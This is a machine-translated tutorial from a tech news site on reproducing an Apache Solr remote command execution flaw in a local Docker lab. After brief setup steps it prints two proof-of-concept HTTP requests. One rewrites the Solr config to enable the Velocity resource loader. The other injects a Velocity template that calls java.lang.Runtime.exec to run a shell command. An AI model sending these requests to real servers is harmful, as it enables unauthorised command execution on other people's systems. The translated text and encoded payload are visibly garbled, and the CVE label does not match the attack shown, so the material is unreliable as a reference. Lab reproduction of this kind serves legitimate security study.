Shulou(Shulou.com)06/02 Report--

This article introduces how to reproduce the Apache Solr remote command, the content is very detailed, interested friends can refer to it, I hope it can be helpful to you.

Rub the heat, repeat a wave: Apache Solr remote command execution vulnerability.

The environment can use the environment of / vulhub/solr/CVE-2019-0193 /. After entering the directory, the direct docker-compose up-d is as follows:

Then, by visiting the corresponding address, you can see that there is no collection of the built images, so we need to create a collection by ourselves:

After entering the container through the docker exec-it container ID / bin/bash, execute:. / solr create-c solr_sample to create the collection as follows:

You can access solr admin from the re-browser to see if the collection has been created successfully:

After confirming the success, you can first send a request to the corresponding path via bp to modify the configuration of params.resource.loader.enabled to true. The request is as follows:

After modifying the configuration, you can execute any command via poc, as shown below:

The relevant poc is as follows:

/ / modify configuration pocPOST / solr/ collection name / config HTTP/1.1Host: 192.168.119.134:8983Content-Length: 259

{"update-queryresponsewriter": {"startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true"}}

/ / remote code execution pocGET / solr/solr_sample/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set ($xcode% 27% 27) +% 23set ($rt=$x.class.forName (% 27java.lang.Runtime%27)) +% 23set ($chr=$x.class.forName (% 27java.lang.Character%27)) +% 23set ($str=$x.class.forName (% 27java.lang.String%27)) +% 23set ($ex=$rt.getRuntime (). Exec (% 27ls%27)) + $ex .waitFor () +% 23set ($out=$ex.getInputStream ()) +% 23foreach ($ipositin + [1..$out.available ()]) $str.valueOf ($chr.toChars ($out.read ()% 23end HTTP/1.1Host: localhost:8983Host: 192.168.119.134:8983Content-Length: 0

About the Apache Solr remote command how to execute the reproduction to share here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.